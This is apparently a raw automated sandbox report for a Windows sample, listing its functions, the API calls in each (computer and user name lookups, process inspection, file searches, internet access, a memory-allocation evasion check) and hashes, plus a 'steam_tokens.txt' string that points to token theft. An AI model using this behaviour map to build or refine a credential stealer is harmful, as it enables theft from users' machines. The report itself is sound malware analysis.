?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CCE309F

Part of subcall function 6CD05B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CD056EE,?,00000001), ref: 6CD05B85
Part of subcall function 6CD05B50: EnterCriticalSection.KERNEL32(6CD6F688,?,?,?,6CD056EE,?,00000001), ref: 6CD05B90
Part of subcall function 6CD05B50: LeaveCriticalSection.KERNEL32(6CD6F688,?,?,?,6CD056EE,?,00000001), ref: 6CD05BD8
Part of subcall function 6CD05B50: GetTickCount64.KERNEL32 ref: 6CD05BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CCE30BE

Part of subcall function 6CCE30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CCE3127
Part of subcall function 6CCE30F0: __aulldiv.LIBCMT ref: 6CCE3140

Part of subcall function 6CD1AB2A: __onexit.LIBCMT ref: 6CD1AB30

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 7e401f268c96713757caaa407d3f24765f14c8a65ce80989bd1fed972e4b6357
Instruction ID: 1890d29add24ca604282e01c0f3ae90e3a9880bb79cb50fac2d1ee07d954bc39
Opcode Fuzzy Hash: 7e401f268c96713757caaa407d3f24765f14c8a65ce80989bd1fed972e4b6357
Instruction Fuzzy Hash: D6F0D612E24B8496EA10DFB598413B6B378AF6B214F106719E94457671FB3062D8C3E2

Uniqueness

Uniqueness Score: -1.00%

Function 00415B70 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00415B84
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00415BA5
CloseHandle.KERNEL32(00000000), ref: 00415BAF

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 7c751c71e8b90ddb01fb3ba8fbacaeac24d7a9c728c94b9c6c7d8c3001edd846
Instruction ID: b12b055c0fde6327b7bfc42128d307bcca402a5100f46dd347d8d84938e244fe
Opcode Fuzzy Hash: 7c751c71e8b90ddb01fb3ba8fbacaeac24d7a9c728c94b9c6c7d8c3001edd846
Instruction Fuzzy Hash: C5F05475A0010CFBDB14DFA4DC4AFED7778BB08300F004499BA0597280D6B06E85CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00414400 Relevance: 4.5, APIs: 3, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
HeapAlloc.KERNEL32(00000000), ref: 00414414
GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 6e220fa814439a9a47cb0e7b1b891ce31241d7c627682025937d03601ca1af04
Instruction ID: 2ac30a00ccf60c4f43266989ac8565747831d88261cb92d9c694311de33eed43
Opcode Fuzzy Hash: 6e220fa814439a9a47cb0e7b1b891ce31241d7c627682025937d03601ca1af04
Instruction Fuzzy Hash: F1E0D8B0A00608FBCB20DFE4DD48BDD77BCAB04305F100055FA05D3240D7749A458B96

Uniqueness

Uniqueness Score: -1.00%

Function 004010D0 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004136DC), ref: 004010EB
VirtualAllocExNuma.KERNEL32(00000000,?,?,004136DC), ref: 004010F2
ExitProcess.KERNEL32 ref: 00401103

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: b1c8d233814077f36e701fc9dcba40fcf29c53b912e4e1fc8df77dce1fb5e496
Instruction ID: b86936f0f7b92ad6105a5e8d9325c57b614f4cde8fc05540e07f2d0ff83aec39
Opcode Fuzzy Hash: b1c8d233814077f36e701fc9dcba40fcf29c53b912e4e1fc8df77dce1fb5e496
Instruction Fuzzy Hash: 1BE0867098570CBBE7309BA0DD0AB1976689B08B06F101055F7097A1D0C6B425008699

Uniqueness

Uniqueness Score: -1.00%

Function 004119B0 Relevance: 3.1, APIs: 2, Instructions: 66stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004119C8

Part of subcall function 00411650: wsprintfA.USER32 ref: 00411669
Part of subcall function 00411650: FindFirstFileA.KERNEL32(?,?), ref: 00411680

strtok_s.MSVCRT ref: 00411A4D

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: strtok_s$FileFindFirstwsprintf
String ID:
API String ID: 3409980764-0
Opcode ID: 975833a798ef07385fb740c26f6e35f7306421425023d288693ea324a83a39c3
Instruction ID: 5fc3070f54b5ba386e916c7c3ae22cc6ad81f817c7a7f871d2ab45b9afc63085
Opcode Fuzzy Hash: 975833a798ef07385fb740c26f6e35f7306421425023d288693ea324a83a39c3
Instruction Fuzzy Hash: 19215471900108EBCB14FFA5CC55FED7B79AF44345F10805AF51A97151EB386B84CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00412B30 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,00A53B28,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

lstrlen.KERNEL32(00000000,00000000,0041D599,?,?,?,?,?,?,00412FF8,?), ref: 00412B5A

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,00A53D08), ref: 00404ED9

Strings

steam_tokens.txt, xrefs: 00412B6F

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$InternetOpen
String ID: steam_tokens.txt
API String ID: 2934705399-401951677
Opcode ID: dc4d42af2112624f1f3cc98c3a3ce06fd04ed1420ae90070f6fab92a70f8b8e9
Instruction ID: 10dd2298c38adeb5e36390c5bfe4eda46295fd03d88468a146a299c80adb3810
Opcode Fuzzy Hash: dc4d42af2112624f1f3cc98c3a3ce06fd04ed1420ae90070f6fab92a70f8b8e9
Instruction Fuzzy Hash: 18F08175D1020866CB18FBB2EC539ED773D9E54348B00425EF81662491EF38A788C6E9

Uniqueness

Uniqueness Score: -1.00%

Function 004147C0 Relevance: 3.0, APIs: 2, Instructions: 17COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00000000), ref: 004147CD
wsprintfA.USER32 ref: 004147E3

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: ae5762f0629c30c52eb39fe9d29b6f6254fbc8fd6ef0ba27fd947bac7523c98c
Instruction ID: d87a4f6b3ea3f44bdf221dc5e2fa01f01132d118a4d77551e5f155a4815ada85
Opcode Fuzzy Hash: ae5762f0629c30c52eb39fe9d29b6f6254fbc8fd6ef0ba27fd947bac7523c98c
Instruction Fuzzy Hash: FAD012B580020C5BD720DBD0ED49AE9B77DBB44204F4049A5EE1492140EBB96AD58AA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACE0 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000), ref: 0040B190
lstrlen.KERNEL32(00000000), ref: 0040B1A4

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,00A53D08), ref: 00404ED9

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocInternetLocalOpenmemcmpmemset
String ID:
API String ID: 574041509-0
Opcode ID: 5552de34139abdf1ae3a6c7cfb7a5f2a1f9cf1feaa58d784e89a862614b05f0c
Instruction ID: df99340f366afcb3d937a345db0e295b6fae9bf0b5ece921659d29683b3ff0c0
Opcode Fuzzy Hash: 5552de34139abdf1ae3a6c7cfb7a5f2a1f9cf1feaa58d784e89a862614b05f0c
Instruction Fuzzy Hash: 6CE114769101189BCF15EBA1DC92EEE773DBF54308F41415EF10676091EF38AA89CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A6E0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

lstrlen.KERNEL32(00000000), ref: 0040A95A
lstrlen.KERNEL32(00000000), ref: 0040A96E

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,00A53D08), ref: 00404ED9

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$InternetOpen
String ID:
API String ID: 3635112192-0
Opcode ID: 566a5276bb689409a72a2e2208e2c9f16109476d3c20ed8d2fa18a83801b57aa
Instruction ID: 9f23dc4c71334aa449457ef7a0e8bbad4682aa92b3b7ddf60c673b4dae8ee631
Opcode Fuzzy Hash: 566a5276bb689409a72a2e2208e2c9f16109476d3c20ed8d2fa18a83801b57aa
Instruction Fuzzy Hash: FC9149729102049BCF14FBA1DC51EEE773DBF54308F41425EF50666091EF38AA89CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040AA20 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

lstrlen.KERNEL32(00000000), ref: 0040AC1E
lstrlen.KERNEL32(00000000), ref: 0040AC32

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,00A53D08), ref: 00404ED9

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$InternetOpen
String ID:
API String ID: 3635112192-0
Opcode ID: 164c0b7114c90ffc7aa5a2abc9e0ad5fd58dcf900f307c954d247c518140238c
Instruction ID: 57c8c1270dba92ae3db9aa8e51dd660502e79bf125d10b7c0566732e7217b02b
Opcode Fuzzy Hash: 164c0b7114c90ffc7aa5a2abc9e0ad5fd58dcf900f307c954d247c518140238c
Instruction Fuzzy Hash: C07153759102049BCF14FBA1DC52DEE7739BF54308F41422EF506A7191EF38AA89CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004114C0 Relevance: 2.6, APIs: 2, Instructions: 100COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00411550

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 46fcbcde96b391d8a91c7de27c3ae99c7866997ac8e62baa93d065818f15697d
Instruction ID: 8f9af232e05b2939ec69b712380268a2006cbed21c6953bc19412128f28bf8b7
Opcode Fuzzy Hash: 46fcbcde96b391d8a91c7de27c3ae99c7866997ac8e62baa93d065818f15697d
Instruction Fuzzy Hash: 0641F770A00A289FDB24DB58CC95BDBB7B5BB48702F4091C9A618A72E0D7716EC6CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00406050 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(004067AE,004067AE,00003000,00000040), ref: 004060F6
VirtualAlloc.KERNEL32(00000000,004067AE,00003000,00000040), ref: 00406143

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a813d0be407c7e97fb4ae0c443796924326960eff0d044c67b11f739482c465e
Instruction ID: 5341a9e810d76a35e886a0404415562c2a616bd51e9685e0b668c9c894d7d0dc
Opcode Fuzzy Hash: a813d0be407c7e97fb4ae0c443796924326960eff0d044c67b11f739482c465e
Instruction Fuzzy Hash: 8341DE34A00209EFCB54CF58C494BADBBB1FF44314F1482A9E95AAB395C735AA91CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00412A80 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 00412ABA
lstrcat.KERNEL32(?,00A5AF38), ref: 00412AD8

Part of subcall function 00412570: wsprintfA.USER32 ref: 00412589
Part of subcall function 00412570: FindFirstFileA.KERNEL32(?,?), ref: 004125A0

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 1d26accb574f515a2d7fe8c0f6acd20ad4040f4671a96e47e9b6da3715607b39
Instruction ID: bcc253f25bf78e1a0e90404f031f6467c50b05fa57c941630bc3dd144581bb5c
Opcode Fuzzy Hash: 1d26accb574f515a2d7fe8c0f6acd20ad4040f4671a96e47e9b6da3715607b39
Instruction Fuzzy Hash: 8701B97A900608B7CB24FBB0DC47EDA773D9B54705F404189B64956091EE78AAC4CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 00401060 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040110E,?,?,004136DC), ref: 00401073
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040110E,?,?,004136DC), ref: 004010B7

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 1fafdb83e91c72df66fc5e0dfbe5cc959ff82812f546fe48c521c8e5e261a801
Instruction ID: a2913bed729a6fe358320823385779fc3d8f71f1cc7b0a13f7ab4b92dd49de4a
Opcode Fuzzy Hash: 1fafdb83e91c72df66fc5e0dfbe5cc959ff82812f546fe48c521c8e5e261a801
Instruction Fuzzy Hash: 42F027B1641208BBE724DAF4AC59FAFF79CA745B05F304559F980E3390DA719F00CAA4

Uniqueness

Uniqueness Score: -1.00%

Function 00415490 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0040E9F4,?,00000000,?,00000000,0041D76E,0041D76B), ref: 0041549F

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: d7bf405bd421a40d19a8bf3ca1e3b15e31b56f02cda8d4317b7777f73d14c9f2
Instruction ID: 7a99a0210fb0b6ed6de77f6d22eec219e0a4aedfc9bcf57955c7481c69c901e8
Opcode Fuzzy Hash: d7bf405bd421a40d19a8bf3ca1e3b15e31b56f02cda8d4317b7777f73d14c9f2
Instruction Fuzzy Hash: 9BF01C70C00608EBCB10EF94C9457DDBB74AF44315F10829AD82957380DB395A85CB89

Uniqueness

Uniqueness Score: -1.00%

Function 004154E0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: b457323e9027a8c85080a28972ad7c56f851ae2514392f0ae5b695d31b5cde3a
Instruction ID: a2db4f6e5da6e8fb8430e81bb17b8e7aa1674d593408b434fe95881a23a64460
Opcode Fuzzy Hash: b457323e9027a8c85080a28972ad7c56f851ae2514392f0ae5b695d31b5cde3a
Instruction Fuzzy Hash: A8E01231A4034CABDB61DB90DC96FDD776C9B44B05F004295BA0C5A1C0DA70AB858BD1

Uniqueness

Uniqueness Score: -1.00%

Function 00401150 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00414400: GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
Part of subcall function 00414400: HeapAlloc.KERNEL32(00000000), ref: 00414414
Part of subcall function 00414400: GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Part of subcall function 004143C0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,00A53B18,004136EB,0041D6E3), ref: 004143CD
Part of subcall function 004143C0: HeapAlloc.KERNEL32(00000000), ref: 004143D4
Part of subcall function 004143C0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

ExitProcess.KERNEL32 ref: 00401186

Memory Dump Source

